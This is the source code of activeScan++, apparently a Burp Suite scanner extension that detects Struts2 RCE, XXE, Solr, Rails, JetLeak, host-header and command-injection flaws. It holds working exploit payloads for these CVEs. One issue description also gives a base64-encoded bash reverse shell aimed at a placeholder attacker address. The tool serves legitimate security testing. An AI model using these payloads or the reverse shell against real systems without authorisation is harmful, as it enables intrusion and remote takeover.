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activeScan++.py
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activeScan++.py
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# Author: James Kettle <[email protected]>
# Copyright 2014 Context Information Security up to 1.0.5
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
try:
import pickle
import random
import re
import string
import time
import copy
import traceback
from string import Template
from cgi import escape
from burp import IBurpExtender, IScannerInsertionPointProvider, IScannerInsertionPoint, IParameter, IScannerCheck, \
IScanIssue
import jarray
except ImportError:
print "Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta."
VERSION = "1.0.21"
FAST_MODE = False
DEBUG = False
callbacks = None
helpers = None
def safe_bytes_to_string(bytes):
if bytes is None:
bytes = ''
return helpers.bytesToString(bytes)
def html_encode(string):
return string.replace("<", "<").replace(">", ">")
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, this_callbacks):
global callbacks, helpers
callbacks = this_callbacks
helpers = callbacks.getHelpers()
callbacks.setExtensionName("activeScan++")
# gracefully skip checks requiring Collaborator if it's disabled
collab_enabled = True
if '"type":"none"' in callbacks.saveConfigAsJson("project_options.misc.collaborator_server"):
collab_enabled = False
print "Collaborator not enabled; skipping checks that require it"
callbacks.registerScannerCheck(PerHostScans())
callbacks.registerScannerCheck(PerRequestScans())
if not FAST_MODE:
callbacks.registerScannerCheck(CodeExec())
callbacks.registerScannerCheck(SuspectTransform())
callbacks.registerScannerCheck(JetLeak())
callbacks.registerScannerCheck(SimpleFuzz())
callbacks.registerScannerCheck(EdgeSideInclude())
if collab_enabled:
callbacks.registerScannerCheck(Solr())
callbacks.registerScannerCheck(doStruts_2017_12611_scan())
print "Successfully loaded activeScan++ v" + VERSION
return
class PerHostScans(IScannerCheck):
scanned_hosts = set()
def doPassiveScan(self, basePair):
return []
def doActiveScan(self, basePair, insertionPoint):
host = basePair.getHttpService().getHost()
if host in self.scanned_hosts:
return []
self.scanned_hosts.add(host)
issues = []
issues.extend(self.interestingFileScan(basePair))
return issues
interestingFileMappings = {
# relative_url: vulnerable_response_content
'/.git/config': '[core]',
'/server-status': 'Server uptime',
'/.well-known/apple-app-site-association': 'applinks',
}
def interestingFileScan(self, basePair):
issues = []
for url, expect in self.interestingFileMappings.items():
attack = self.fetchURL(basePair, url)
if expect in safe_bytes_to_string(attack.getResponse()):
# prevent false positives by tweaking the URL and confirming the expected string goes away
baseline = self.fetchURL(basePair, url[:-1])
if expect not in safe_bytes_to_string(baseline.getResponse()):
issues.append(
CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(attack).getUrl(),
[attack, baseline],
'Interesting response',
"The response to <b>"+html_encode(url)+"</b> contains <b>'"+html_encode(expect)+"'</b><br/><br/>This may be interesting.",
'Firm', 'High')
)
return issues
def fetchURL(self, basePair, url):
path = helpers.analyzeRequest(basePair).getUrl().getPath()
newReq = safe_bytes_to_string(basePair.getRequest()).replace(path, url, 1)
return callbacks.makeHttpRequest(basePair.getHttpService(), newReq)
class PerRequestScans(IScannerCheck):
def __init__(self):
self.scan_checks = [
self.doHostHeaderScan,
self.doCodePathScan,
self.doStrutsScan,
self.doStruts_2017_9805_Scan,
self.doStruts_2018_11776_Scan,
self.doXXEPostScan,
self.doRailsScan,
]
def doPassiveScan(self, basePair):
return []
def doActiveScan(self, basePair, insertionPoint):
if not self.should_trigger_per_request_attacks(basePair, insertionPoint):
return []
issues = []
for scan_check in self.scan_checks:
try:
issues.extend(scan_check(basePair))
except Exception:
print 'Error executing PerRequestScans.'+scan_check.__name__+': '
print(traceback.format_exc())
return issues
def should_trigger_per_request_attacks(self, basePair, insertionPoint):
request = helpers.analyzeRequest(basePair.getRequest())
params = request.getParameters()
# if there are no parameters, scan if there's a HTTP header
if params:
# pick the parameter most likely to be the first insertion point
first_parameter_offset = 999999
first_parameter = None
for param_type in (IParameter.PARAM_BODY, IParameter.PARAM_URL, IParameter.PARAM_JSON, IParameter.PARAM_XML, IParameter.PARAM_XML_ATTR, IParameter.PARAM_MULTIPART_ATTR, IParameter.PARAM_COOKIE):
for param in params:
if param.getType() != param_type:
continue
if param.getNameStart() < first_parameter_offset:
first_parameter_offset = param.getNameStart()
first_parameter = param
if first_parameter:
break
if first_parameter and first_parameter.getName() == insertionPoint.getInsertionPointName():
return True
elif insertionPoint.getInsertionPointType() == IScannerInsertionPoint.INS_HEADER and insertionPoint.getInsertionPointName() == 'User-Agent':
return True
return False
def doRailsScan(self, basePair):
if '127.0.0.1' in safe_bytes_to_string(basePair.getResponse()):
return
(ignore, req) = setHeader(basePair.getRequest(), 'Accept', '../../../../../../../../../../../../../e*c/h*s*s{{', True)
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req)
if '127.0.0.1' in safe_bytes_to_string(attack.getResponse()):
# avoid false positives caused by burp's own scanchecks containing '127.0.0.1'
try:
collabLocation = callbacks.createBurpCollaboratorClientContext().getCollaboratorServerLocation()
if collabLocation in safe_bytes_to_string(attack.getResponse()):
return []
except Exception:
pass
return [CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(basePair).getUrl(),
[attack],
'Rails file disclosure',
"The application appears to be vulnerable to CVE-2019-5418, enabling arbitrary file disclosure.",
'Firm', 'High')]
return []
def doStrutsScan(self, basePair):
x = random.randint(999, 9999)
y = random.randint(999, 9999)
(ignore, req) = setHeader(basePair.getRequest(), 'Content-Type', "${#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Ack\","+str(x)+"*"+str(y)+")}.multipart/form-data", True)
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req)
if str(x*y) in '\n'.join(helpers.analyzeResponse(attack.getResponse()).getHeaders()):
return [CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(basePair).getUrl(),
[attack],
'Struts2 RCE',
"The application appears to be vulnerable to CVE-2017-5638, enabling arbitrary code execution.",
'Firm', 'High')]
return []
# Based on exploit at https://github.com/chrisjd20/cve-2017-9805.py
# Tested against https://dev.northpolechristmastown.com/orders.xhtml (SANS Holiday Hack Challenge 2017)
# Tested against system at https://pentesterlab.com/exercises/s2-052
def doStruts_2017_9805_Scan(self, basePair):
if '"type":"none"' in callbacks.saveConfigAsJson("project_options.misc.collaborator_server"):
return []
global callbacks, helpers
collab = callbacks.createBurpCollaboratorClientContext()
collab_payload =collab.generatePayload(True)
param_pre = '<?xml version="1.0" encoding="utf8"?><map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>'
param_post = '</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>'
command = "ping</string><string>" + collab_payload + "</string><string>-c1" # platform-agnostic command to check for RCE via DNS interaction
# print ("\nCommand is: "+command)
# whole_param = helpers.buildParameter('body',param_pre + command + param_post,IParameter.PARAM_BODY)
whole_param = param_pre + command + param_post
# print ('*** The following parameter will be sent:\n\n' + whole_param)
(ignore, req) = setHeader(basePair.getRequest(), 'Content-Type', "application/xml", True) # application/xml seems to work better with Struts while text/xml seems to work better for XXE
(ignore, req) = setHeader(req, 'Content-Length', str(len(whole_param)), True)
ascii_req = '' # Make a copy of the request (byte array) into a string for easier analysis
for byte in req:
ascii_req += chr(byte)
if ascii_req.find('\r\n\r\n') > 1: # If
req = req[:ascii_req.find('\r\n\r\n')+4] # strip off any existing message body
elif ascii_req.find('\n\n') > 1:
req = req[:ascii_req.find('\n\n')+2] # strip off any existing message body
for chars in whole_param: # Append the payload to the request
req.append(ord(chars))
if req[0] == 71: # if the reqest starts with G(ET)
req = req[3:] # trim GET
i = 0
for b in [80,79,83,84]: # and insert POST
req.insert(i,b)
i += 1
ascii_req = ''
for byte in req:
ascii_req += chr(byte)
debug_msg(' The outgoing Struts_2017_9805 request looks like:\n\n' + ascii_req + '\n')
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req) # Issue the actual request
interactions = collab.fetchAllCollaboratorInteractions() # Check for collaboration
if interactions:
return [CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(basePair).getUrl(),
[attack],
'Struts2 CVE-2017-9805 RCE',
"The application appears to be vulnerable to CVE-2017-9805, enabling arbitrary code execution. For POC or reverse shell, write a command, put it in Base64 (to keep special chars from breaking XML), and change the nslookup chunk to something like:\n\n'/bin/bash</string><string>-c</string><string>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tfaXAvYXR0YWNrX3BvcnQgMD4mMQ== | base64 -d | tee -a /tmp/.deleteme.tmp ; /bin/bash /tmp/.deleteme.tmp ; /bin/rm /tmp/.deleteme.tmp'",
'Firm', 'High')]
return []
# Based on vulnerability discovered by Man Yue Mo: https://lgtm.com/blog/apache_struts_CVE-2018-11776
# Tested against instance set up like https://github.com/xfox64x/CVE-2018-11776
def doStruts_2018_11776_Scan(self, basePair):
# Don't bother if it isn't a 302 response
origResponse = safe_bytes_to_string(basePair.getResponse())
if (origResponse.find('302 Found') < 0):
return[]
path = helpers.analyzeRequest(basePair).getUrl().getPath()
last_slash = 0
# The exploit depends upon injecting OGNL into the path of a vulnerable action, so we find
#the last slash in the URL and insert our payload
for i in range(len(path)):
if path[i] == '/':
last_slash = i
x = random.randint(999, 9999)
y = random.randint(999, 9999)
# The payload here is a simple math(s) problem - because multiplication platform-agnostic
attack_string = "/$%7B("+str(x)+"*"+str(y)+")%7D"
attack_path = path[:last_slash]+attack_string+path[last_slash:]
newReq = safe_bytes_to_string(basePair.getRequest()).replace(path,attack_path, 1)
debug_msg(' The outgoing 2018-11776 request looks like:\n\n' + newReq + '\n')
attack = callbacks.makeHttpRequest(basePair.getHttpService(), newReq) # Issue the actual request
asciiResponse = "".join(map(chr,attack.getResponse()))
# If the response includes the payload product, system is vulnerable
if str(x*y) in asciiResponse:
# Add highlighting so the factors (request) and product (response) are easy to identify
requestMarkers = [jarray.array([newReq.find(str(x)+'*'+str(y)), newReq.find(str(x)+'*'+str(y))
+ len(str(x)+'*'+str(y))],'i')]
responseMarkers = [jarray.array([asciiResponse.find(str(x*y)), asciiResponse.find(str(x*y)) +
len(str(x*y))],'i')]
return [CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(basePair).getUrl(),
[callbacks.applyMarkers(attack, requestMarkers, responseMarkers)],
'Struts2 CVE-2018-11776 RCE',
"The application appears to be vulnerable to CVE-2018-11776, enabling arbitrary code execution.",
'Firm', 'High')]
return []
# Based on the plethora of XXE attacks at https://web-in-security.blogspot.it/2016/03/xxe-cheat-sheet.html
# Tested against https://pentesterlab.com/exercises/play_xxe
def doXXEPostScan(self, basePair):
if '"type":"none"' in callbacks.saveConfigAsJson("project_options.misc.collaborator_server"):
return []
global callbacks, helpers
collab = callbacks.createBurpCollaboratorClientContext()
collab_payload =collab.generatePayload(True)
xxepayload = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://' + collab_payload + '/scanner.dtd"><data>&all;</data>'
(ignore, req) = setHeader(basePair.getRequest(), 'Content-Type', "text/xml", True)
(ignore, req) = setHeader(req, 'Content-Length', str(len(xxepayload)), True)
ascii_req = '' # make a copy of the request in ASCII for easier processing
for byte in req:
ascii_req += chr(byte)
if ascii_req.find('\r\n\r\n') > 1:
# print('Found \\r\\n\\r\\n at position '+str(ascii_req.find('\r\n\r\n'))+'; stripping all after\n')
req = req[:ascii_req.find('\r\n\r\n')+4] # strip off any existing message body
elif ascii_req.find('\n\n') > 1:
# print('Found \\n\\n at position '+str(ascii_req.find('\n\n'))+'; stripping all after\n')
req = req[:ascii_req.find('\n\n')+2] # strip off any existing message body
for chars in xxepayload: # add the payload as the message body
req.append(ord(chars))
if req[0] == 71: # if the reqest starts with G(ET)
req = req[3:] # trim GET...
i = 0
for b in [80,79,83,84]: # and slip in POST
req.insert(i,b)
i += 1
ascii_req = '' # recreate the ASCII request for output to Extender console
for byte in req:
ascii_req += chr(byte)
debug_msg(' The outgoing XXEPostScan request looks like:\n\n' + ascii_req + '\n')
attack = callbacks.makeHttpRequest(basePair.getHttpService(), req) # Issue the actual request
interactions = collab.fetchAllCollaboratorInteractions() # Check for collaboration
if interactions:
return [CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(basePair).getUrl(),
[attack],
'XXE via POST Request',
"The application appears to be vulnerable to standard XML eXternal Entity (XXE) via a crafted POST request. Check the following URL for various method/payload choices: https://web-in-security.blogspot.it/2016/03/xxe-cheat-sheet.html",
'Firm', 'High')]
return []
def doCodePathScan(self, basePair):
base_resp_string = safe_bytes_to_string(basePair.getResponse())
base_resp_print = tagmap(base_resp_string)
xml_resp, xml_req = self._codepath_attack(basePair, 'application/xml')
if xml_resp != -1:
if xml_resp != base_resp_print:
zml_resp, zml_req = self._codepath_attack(basePair, 'application/zml')
assert zml_resp != -1
if zml_resp != xml_resp:
# Trigger a passive scan on the new response for good measure
launchPassiveScan(xml_req)
return [CustomScanIssue(basePair.getHttpService(), helpers.analyzeRequest(basePair).getUrl(),
[basePair, xml_req, zml_req],
'XML input supported',
"The application appears to handle application/xml input. Consider investigating whether it's vulnerable to typical XML parsing attacks such as XXE.",
'Tentative', 'Information')]
return []
def _codepath_attack(self, basePair, content_type):
modified, request = setHeader(basePair.getRequest(), 'Content-Type', content_type)
if not modified:
return -1, None
result = callbacks.makeHttpRequest(basePair.getHttpService(), request)
resp = result.getResponse()
if resp is None:
resp = ''
return tagmap(safe_bytes_to_string(resp)), result
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return is_same_issue(existingIssue, newIssue)
def doHostHeaderScan(self, basePair):
base_resp_string = safe_bytes_to_string(basePair.getResponse())
base_resp_print = tagmap(base_resp_string)
rawHeaders = helpers.analyzeRequest(basePair.getRequest()).getHeaders()
# Parse the headers into a dictionary
headers = dict((header.split(': ')[0].upper(), header.split(': ', 1)[1]) for header in rawHeaders[1:])
# If the request doesn't use the host header, bail
if ('HOST' not in headers.keys()):
return []
# If the response doesn't reflect the host header we can't identify successful attacks
if (headers['HOST'] not in base_resp_string):
debug_msg("Skipping host header attacks on this request as the host isn't reflected")
return []
# prepare the attack
request = safe_bytes_to_string(basePair.getRequest())
request = request.replace('$', '\$')
request = request.replace('/', '$abshost/', 1)
# add a cachebust parameter
if ('?' in request[0:request.index('\n')]):
request = re.sub('(?i)([a-z]+ [^ ]+)', r'\1&cachebust=${cachebust}', request, 1)
else:
request = re.sub('(?i)([a-z]+ [^ ]+)', r'\1?cachebust=${cachebust}', request, 1)
request = re.sub('(?im)^Host: [a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1)
if ('REFERER' in rawHeaders):
request = re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1)
if ('CACHE-CONTROL' in rawHeaders):
request = re.sub('(?im)^Cache-Control: [^\r\n]+', 'Cache-Control: no-cache', request, 1)
else:
request = request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\r\nCache-Control: no-cache', 1)
referer = randstr(6)
request_template = Template(request)
# Send several requests with invalid host headers and observe whether they reach the target application, and whether the host header is reflected
legit = headers['HOST']
taint = randstr(6)
taint += '.' + legit
issues = []
# Host: evil.legit.com
(attack, resp) = self._attack(basePair, {'host': taint}, taint, request_template, referer)
if hit(resp, base_resp_print):
# flag DNS-rebinding if the page actually has content
if base_resp_print != '':
issues.append(self._raise(basePair, attack, 'dns'))
if taint in resp and referer not in resp:
issues.append(self._raise(basePair, attack, 'host'))
return issues
else:
# The application might not be the default VHost, so try an absolute URL:
# GET http://legit.com/foo
# Host: evil.com
(attack, resp) = self._attack(basePair, {'abshost': legit, 'host': taint}, taint, request_template, referer)
if hit(resp, base_resp_print) and taint in resp and referer not in resp:
issues.append(self._raise(basePair, attack, 'abs'))
# Host: legit.com
# X-Forwarded-Host: evil.com
(attack, resp) = self._attack(basePair, {'host': legit, 'xfh': taint}, taint, request_template, referer)
if hit(resp, base_resp_print) and taint in resp and referer not in resp:
issues.append(self._raise(basePair, attack, 'xfh'))
return issues
def _raise(self, basePair, attack, type):
service = attack.getHttpService()
url = helpers.analyzeRequest(attack).getUrl()
if type == 'dns':
title = 'Arbitrary host header accepted'
sev = 'Low'
conf = 'Certain'
desc = """The application appears to be accessible using arbitrary HTTP Host headers. <br/><br/>
This is a serious issue if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.<br/>
Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835#c13<br/><br/>
Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending a Host header of 'localhost'"""
else:
title = 'Host header poisoning'
sev = 'Medium'
conf = 'Tentative'
desc = """The application appears to trust the user-supplied host header. By supplying a malicious host header with a password reset request, it may be possible to generate a poisoned password reset link. Consider testing the host header for classic server-side injection vulnerabilities.<br/>
<br/>
Depending on the configuration of the server and any intervening caching devices, it may also be possible to use this for cache poisoning attacks.<br/>
<br/>
Resources: <br/><ul>
<li>http://carlos.bueno.org/2008/06/host-header-injection.html<br/></li>
<li>http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html</li>
</ul>
"""
issue = CustomScanIssue(service, url, [basePair, attack], title, desc, conf, sev)
return issue
def _attack(self, basePair, payloads, taint, request_template, referer):
proto = helpers.analyzeRequest(basePair).getUrl().getProtocol() + '://'
if 'abshost' in payloads:
payloads['abshost'] = proto + payloads['abshost']
payloads['referer'] = proto + taint + '/' + referer
# Load the supplied payloads into the request
if 'xfh' in payloads:
payloads['xfh'] = "\r\nX-Forwarded-Host: " + payloads['xfh']
for key in ('xfh', 'abshost', 'host', 'referer'):
if key not in payloads:
payloads[key] = ''
# Ensure that the response to our request isn't cached - that could be harmful
payloads['cachebust'] = str(time.time())
request = request_template.substitute(payloads)
attack = callbacks.makeHttpRequest(basePair.getHttpService(), request)
response = safe_bytes_to_string(attack.getResponse())
requestHighlights = [jarray.array([m.start(), m.end()], 'i') for m in
re.finditer('(' + '|'.join(payloads.values()) + ')',
safe_bytes_to_string(attack.getRequest()))]
responseHighlights = [jarray.array([m.start(), m.end()], 'i') for m in re.finditer(taint, response)]
attack = callbacks.applyMarkers(attack, requestHighlights, responseHighlights)
return attack, response
# Ensure that error pages get passively scanned
# Stacks nicely with the 'Error Message Checks' extension
class SimpleFuzz(IScannerCheck):
def doActiveScan(self, basePair, insertionPoint):
attack = request(basePair, insertionPoint, 'a\'a\\\'b"c>?>%}}%%>c<[[?${{%}}cake\\')
if tagmap(safe_bytes_to_string(attack.getResponse())) != tagmap(safe_bytes_to_string(basePair.getResponse())):
launchPassiveScan(attack)
return []
def doPassiveScan(self, basePair):
return []
class EdgeSideInclude(IScannerCheck):
def doPassiveScan(self, basePair):
return []
def doActiveScan(self, basePair, insertionPoint):
canary1 = randstr(4)
canary2 = randstr(4)
canary3 = randstr(4)
probe = canary1+"<!--esi-->"+canary2+"<!--esx-->"+canary3
attack = request(basePair, insertionPoint, probe)
resp = safe_bytes_to_string(attack.getResponse())
expect = canary1+canary2+"<!--esx-->"+canary3
if expect in resp:
return [CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack],
'Edge Side Include' ,
"The application appears to support Edge Side Includes:<br/><br/> "
"The following probe was sent: <b>" + html_encode(probe) +
"</b><br/>In the response, the ESI comment has been stripped: <b>" + html_encode(expect) +
"</b><br/><br/>Refer to https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/ for further information", 'Tentative', 'High')]
return []
# Detect suspicious input transformations
class SuspectTransform(IScannerCheck):
def __init__(self):
self.checks = {
'quote consumption': self.detect_quote_consumption,
'arithmetic evaluation': self.detect_arithmetic,
'expression evaluation': self.detect_expression,
'template evaluation': self.detect_razor_expression,
'EL evaluation': self.detect_alt_expression,
}
self.confirm_count = 2
def detect_quote_consumption(self, base):
return anchor_change("''", ["'"])
def detect_arithmetic(self, base):
x = random.randint(99, 9999)
y = random.randint(99, 9999)
probe = str(x) + '*' + str(y)
expect = str(x * y)
return probe, expect
def detect_expression(self, base):
probe, expect = self.detect_arithmetic(base)
return '${' + probe + '}', expect
def detect_alt_expression(self, base):
probe, expect = self.detect_arithmetic(base)
return '%{' + probe + '}', expect
def detect_razor_expression(self, base):
probe, expect = self.detect_arithmetic(base)
return '@(' + probe + ')', expect
def doActiveScan(self, basePair, insertionPoint):
base = insertionPoint.getBaseValue()
initial_response = safe_bytes_to_string(basePair.getResponse())
issues = []
checks = copy.copy(self.checks)
while checks:
name, check = checks.popitem()
for attempt in range(self.confirm_count):
probe, expect = check(base)
if isinstance(expect, basestring):
expect = [expect]
debug_msg("Trying " + probe)
attack = request(basePair, insertionPoint, probe)
attack_response = safe_bytes_to_string(attack.getResponse())
matched = False
for e in expect:
if e in attack_response and e not in initial_response:
matched = True
if attempt == self.confirm_count - 1:
issues.append(
CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack],
'Suspicious input transformation: ' + name,
"The application transforms input in a way that suggests it might be vulnerable to some kind of server-side code injection:<br/><br/> "
"The following probe was sent: <b>" + probe +
"</b><br/>The server response contained the evaluated result: <b>" + e +
"</b><br/><br/>Manual investigation is advised.", 'Tentative', 'High'))
break
if not matched:
break
return issues
def doPassiveScan(self, basePair):
return []
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return is_same_issue(existingIssue, newIssue)
# Based on https://github.com/brianwrf/S2-053-CVE-2017-12611
# Tested against docker instance at https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053
class doStruts_2017_12611_scan(IScannerCheck):
def doActiveScan(self, basePair, insertionPoint):
collab = callbacks.createBurpCollaboratorClientContext()
# set the blah blah blah needed before and after the command to be executed
param_pre = "%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
param_post = "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
collab_payload = collab.generatePayload(True) # create a Collaborator payload
command = "ping " + collab_payload + " -c1" # platform-agnostic command to check for RCE via DNS interaction
attack_param = param_pre + command + param_post
attack = request(basePair, insertionPoint, attack_param) # issue the attack request
debug_msg(helpers.analyzeRequest(attack).getUrl())
interactions = collab.fetchAllCollaboratorInteractions() # Check for collaboration
if interactions:
return [CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack],
'Struts2 CVE-2017-12611 RCE',
"The application appears to be vulnerable to CVE-2017-12611, enabling arbitrary code execution. Replace the ping command in the suspicious request with system commands for a POC.",
'Firm', 'High')]
return []
def doPassiveScan(self, basePair):
return []
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return is_same_issue(existingIssue, newIssue)
class Solr(IScannerCheck):
def doActiveScan(self, basePair, insertionPoint):
collab = callbacks.createBurpCollaboratorClientContext()
obfuscated_payload = "{!xmlparser v='<!DOCTYPE a SYSTEM \"http://"+collab.generatePayload(True)+"/xxe\"><a></a>'}"
attack = request(basePair, insertionPoint, obfuscated_payload)
interactions = collab.fetchAllCollaboratorInteractions()
if interactions:
return [CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack],
'Solr XXE/RCE (CVE-2017-12629)',
"The application appears to be running a version of Solr vulnerable to XXE. ActiveScan++ sent a reference to an external file, and received a pingback from the server.<br/><br/>"+
"To investigate, use the manual collaborator client. It may be possible to escalate this vulnerability into RCE. Please refer to https://mail-archives.apache.org/mod_mbox/lucene-dev/201710.mbox/%3CCAJEmKoC%2BeQdP-E6BKBVDaR_43fRs1A-hOLO3JYuemmUcr1R%2BTA%40mail.gmail.com%3E for further information",
'Firm', 'High')]
return []
def doPassiveScan(self, basePair):
return []
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return is_same_issue(existingIssue, newIssue)
# Detect CVE-2015-2080
# Technique based on https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py
class JetLeak(IScannerCheck):
def doActiveScan(self, basePair, insertionPoint):
if 'Referer' != insertionPoint.getInsertionPointName():
return []
attack = request(basePair, insertionPoint, "\x00")
resp_start = safe_bytes_to_string(attack.getResponse())[:90]
if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:
return [CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack],
'CVE-2015-2080 (JetLeak)',
"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory<br/>"
"Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information",
'Firm', 'High')]
return []
def doPassiveScan(self, basePair):
return []
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return is_same_issue(existingIssue, newIssue)
# This extends the active scanner with a number of timing-based code execution checks
# _payloads contains the payloads, designed to delay the response by $time seconds
# _extensionMappings defines which payloads get called on which file extensions
class CodeExec(IScannerCheck):
def __init__(self):
# self._helpers = callbacks.getHelpers()
self._done = getIssues('Code injection')
self._payloads = {
# Exploits shell command injection into '$input' on linux and "$input" on windows:
# and CVE-2014-6271, CVE-2014-6278
'any': ['() { :;}; /bin/sleep $time',
'() { _; } >_[$$($$())] { /bin/sleep $time; }', '$$(sleep $time)', '`sleep $time`'],
'php': [],
'perl': ['/bin/sleep $time|'],
'ruby': ['|sleep $time & ping -n $time localhost'],
# Expression language injection
'java': [
'$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"timeout","$time"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"sleep","$time"})).start()).getInputStream()))).readLine()}'],
}
# Used to ensure only appropriate payloads are attempted
self._extensionMappings = {
'php5': 'php',
'php4': 'php',
'php3': 'php',
'php': 'php',
'pl': 'perl',
'cgi': 'perl',
'jsp': 'java',
'do': 'java',
'action': 'java',
'rb': 'ruby',
'': ['php', 'ruby', 'java'],
'unrecognised': 'java',
# Code we don't have exploits for
'asp': 'any',
'aspx': 'any',
}
def doActiveScan(self, basePair, insertionPoint):
# Decide which payloads to use based on the file extension, using a set to prevent duplicate payloads
payloads = set()
languages = self._getLangs(basePair)
for lang in languages:
new_payloads = self._payloads[lang]
payloads |= set(new_payloads)
payloads.update(self._payloads['any'])
# Time how long each response takes compared to the baseline
# Assumes <4 seconds jitter
baseTime = 0
for payload in payloads:
if (baseTime == 0):
baseTime = self._attack(basePair, insertionPoint, payload, 0)[0]
if self._attack(basePair, insertionPoint, payload, 11)[0] > max(baseTime + 6, 10):
debug_msg("Suspicious delay detected. Confirming it's consistent...")
(dummyTime, dummyAttack) = self._attack(basePair, insertionPoint, payload, 0)
if dummyAttack.getResponse() is None:
debug_msg('Received empty response to baseline request - abandoning attack')
break
if (dummyTime < baseTime + 4):
(timer, attack) = self._attack(basePair, insertionPoint, payload, 11)
if timer > max(dummyTime + 6, 10):
debug_msg("Code execution confirmed")
url = helpers.analyzeRequest(attack).getUrl()
if (url in self._done):
debug_msg("Skipping report - vulnerability already reported")
break
self._done.append(url)
return [CustomScanIssue(attack.getHttpService(), url, [dummyAttack, attack], 'Code injection',
"The application appears to evaluate user input as code.<p> It was instructed to sleep for 0 seconds, and a response time of <b>" + str(
dummyTime) + "</b> seconds was observed. <br/>It was then instructed to sleep for 10 seconds, which resulted in a response time of <b>" + str(
timer) + "</b> seconds.</p>", 'Firm', 'High')]
return []
def _getLangs(self, basePair):
path = helpers.analyzeRequest(basePair).getUrl().getPath()
if '.' in path:
ext = path.split('.')[-1]
else:
ext = ''
if (ext in self._extensionMappings):
code = self._extensionMappings[ext]
else:
code = self._extensionMappings['unrecognised']
if (isinstance(code, basestring)):
code = [code]
return code
